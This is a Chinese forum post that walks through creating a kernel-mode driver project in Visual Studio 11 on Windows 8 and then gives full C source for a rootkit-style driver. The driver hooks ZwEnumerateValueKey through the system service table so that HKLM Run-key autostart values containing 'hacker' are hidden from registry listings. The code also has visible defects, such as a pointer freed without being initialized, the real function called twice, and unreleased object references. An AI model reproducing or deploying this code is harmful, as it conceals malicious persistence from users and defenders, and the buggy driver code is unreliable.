TA的每日心情 | 开心 2014-6-18 08:29 |
---|
签到天数: 14 天 [LV.3]偶尔看看II
滴水大师
 
- 积分
- 2345
|
用Visual studio11在Windows8上开发内核驱动隐藏注册表
在Windows NT中,80386保护模式的“保护”比Windows 95中更坚固,这个“镀金的笼子”更加结实,更加难以打破。在Windows 95中,至少应用程序I/O操作是不受限制的,而在Windows NT中,我们的应用程序连这点权限都被剥夺了。在NT中几乎不太可能进入真正的ring0层。
在Windows NT中,存在三种Device Driver:
1.“Virtual device Driver” (VDD)。通过VDD,16位应用程序,如DOS 和Win16应用程序可以访问特定的I/O端口(注意,不是直接访问,而是要通过VDD来实现访问)。
2.“GDI Driver”,提供显示和打印所需的GDI函数。
3.“Kernel Mode Driver”,实现对特定硬件的操作,比如说CreateFile, CloseHandle (对于文件对象而言), ReadFile, WriteFile, DeviceIoControl 等操作。“Kernel Mode Driver”还是Windows NT中唯一可以对硬件中断和DMA进行操作的Driver。SCSI 小端口驱动和 网卡NDIS 驱动都是Kernel Mode Driver的一种特殊形式。
Visual studio11与Windows8带来格外不同的新体验
1.启动Vs11
![]()
2.看见满目的驱动开发模板
![]()
3.选择一个驱动模式,有内核模式与用户模式两种的驱动
![]()
4.创建一个驱动程序,KMDF DriverMVP
![]()
5.我们选择的是内核模式的驱动程序,下面是创建成功后的界面,分别是驱动程序本身,与驱动安装包
![]()
6.按下F5,选择驱动编译,
![]()
插入下列代码实现ring0层隐藏注册表,请见代码分析
[cpp] view plaincopy
- #include <ntddk.h>
-
- extern NTSYSAPI NTSTATUS NTAPI
- ObQueryNameString(
- IN PVOID Object,
- OUT POBJECT_NAME_INFORMATION ObjectNameInfo,
- IN ULONG Length,
- OUT PULONG ReturnLength
- );
-
- extern NTSYSAPI NTSTATUS NTAPI
- ZwEnumerateValueKey(
- IN HANDLE KeyHandle,
- IN ULONG Index,
- IN KEY_VALUE_INFORMATION_CLASS KeyValueInformationClass,
- OUT PVOID KeyValueInformation,
- IN ULONG Length,
- OUT PULONG ResultLength
- );
-
- //声明原有的函数
- typedef NTSTATUS (*REALZWENUMERATEVAlUEKEY)(
- IN HANDLE KeyHandle,
- IN ULONG Index,
- IN KEY_VALUE_INFORMATION_CLASS KeyValueInformationClass,
- OUT PVOID KeyValueInformation,
- IN ULONG Length,
- OUT PULONG ResultLength
- );
-
- //定义原函数的指针
- REALZWENUMERATEVAlUEKEY RealZwEnumerateValueKey;
-
- //我们HOOK的函数
- NTSTATUS HookZwEnumerateValueKey(
- IN HANDLE KeyHandle,
- IN ULONG Index,
- IN KEY_VALUE_INFORMATION_CLASS KeyValueInformationClass,
- OUT PVOID KeyValueInformation,
- IN ULONG Length,
- OUT PULONG ResultLength
- );
-
- PCWSTR HideValue = L"hacker";
-
- // SYSTEMSERVICE 的定义
- typedef struct ServiceDescriptorEntry
- {
- unsigned int * ServiceTableBase; // 关键字段, 指向系统服务分发例程的基地址
- unsigned int * ServiceCounterTableBase;
- unsigned int NumberOfServices;
- unsigned char * ParamTableBase;
- }
- ServiceDescriptorTableEntry_t, * PServiceDescriptorTableEntry_t;
- __declspec(dllimport) ServiceDescriptorTableEntry_t KeServiceDescriptorTable;
- #define SYSTEMSERVICE(_function) KeServiceDescriptorTable.ServiceTableBase[*(PULONG)((PUCHAR)_function+1)]
-
- PVOID GetPointer( HANDLE handle )
- {
- PVOID pKey;
- if(!handle)
- return NULL;
- // ObReferenceObjectByHandle函数来获得这个Handle对应的FileObject, 得到的指针转换成文件对象的指针
- if(ObReferenceObjectByHandle( handle, 0, NULL, KernelMode, &pKey, NULL ) != STATUS_SUCCESS )
- {
- pKey = NULL;
- }
- return pKey;
- }
-
- NTSTATUS
- HookZwEnumerateValueKey(
- IN HANDLE KeyHandle,
- IN ULONG Index,
- IN KEY_VALUE_INFORMATION_CLASS KeyValueInformationClass,
- OUT PVOID KeyValueInformation,
- IN ULONG Length,
- OUT PULONG ResultLength
- )
- {
-
-
- PVOID pKey;
- UNICODE_STRING *pUniName;
- ULONG actualLen;
- ANSI_STRING keyname;
- NTSTATUS status;
- UNICODE_STRING uStrValueName;
- PCWSTR ValueName;
-
- status = ((REALZWENUMERATEVAlUEKEY)(RealZwEnumerateValueKey))(
- KeyHandle,
- Index,
- KeyValueInformationClass,
- KeyValueInformation,
- Length,
- ResultLength );
-
- //得到文件对象的指针
- if(pKey = GetPointer( KeyHandle))
- {
- //分配内存
- pUniName = ExAllocatePool(NonPagedPool, 1024*2);
- pUniName->MaximumLength = 512*2;
-
- //将pUniName里的内容清空
- memset(pUniName,0,pUniName->MaximumLength);
-
- //得到注册表项的路径
- if(NT_SUCCESS(ObQueryNameString(pKey, pUniName, 512*2, &actualLen)))
- {
- RtlUnicodeStringToAnsiString(&keyname, pUniName, TRUE);
- keyname.Buffer=_strupr(keyname.Buffer);
-
- //判断是不是Run项
- if (strcmp(keyname.Buffer,"\\REGISTRY\\MACHINE\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUN") == 0)
- {
- switch (KeyValueInformationClass)
- {
- case KeyValueBasicInformation: //KEY_VALUE_BASIC_INFORMATION
- ValueName = ((PKEY_VALUE_BASIC_INFORMATION)KeyValueInformation)->Name;
- break;
- case KeyValueFullInformation: //KEY_VALUE_FULL_INFORMATION
- ValueName = ((PKEY_VALUE_FULL_INFORMATION)KeyValueInformation)->Name;
- break;
- }
-
- //判断ValueName里的值是否有hacker
- //如果有则将函数返回STATUS_ACCESS_DENIED
- if ((ValueName != NULL) && (wcsstr(ValueName,HideValue) != NULL))
- {
- DbgPrint("Hide Value\n");
- RtlFreeAnsiString(&keyname);
- //释放内存
- if(pUniName)
- {
- ExFreePool(pUniName);
- }
- return STATUS_ACCESS_DENIED;
- }
-
- }
-
- }
- }
- status = RealZwEnumerateValueKey(KeyHandle,
- Index,
- KeyValueInformationClass,
- KeyValueInformation,
- Length,
- ResultLength);
- if(pUniName)
- {
- ExFreePool(pUniName);
- }
-
- return(status);
-
- }
-
- VOID
- DriverUnload(
- IN PDRIVER_OBJECT DriverObject
- )
- {
- DbgPrint("驱动已经停止了\n");
- (REALZWENUMERATEVAlUEKEY)(SYSTEMSERVICE(ZwEnumerateValueKey)) = RealZwEnumerateValueKey;
- }
-
- NTSTATUS
- DriverEntry(
- IN PDRIVER_OBJECT DriverObject,
- IN PUNICODE_STRING RegistryPath
- )
- {
-
- DbgPrint("驱动已经加载了\n");
-
- RealZwEnumerateValueKey = (REALZWENUMERATEVAlUEKEY)(SYSTEMSERVICE(ZwEnumerateValueKey));
- (REALZWENUMERATEVAlUEKEY)(SYSTEMSERVICE(ZwEnumerateValueKey)) = HookZwEnumerateValueKey;
-
- DriverObject->DriverUnload = DriverUnload;
- return STATUS_SUCCESS;
- }
|
|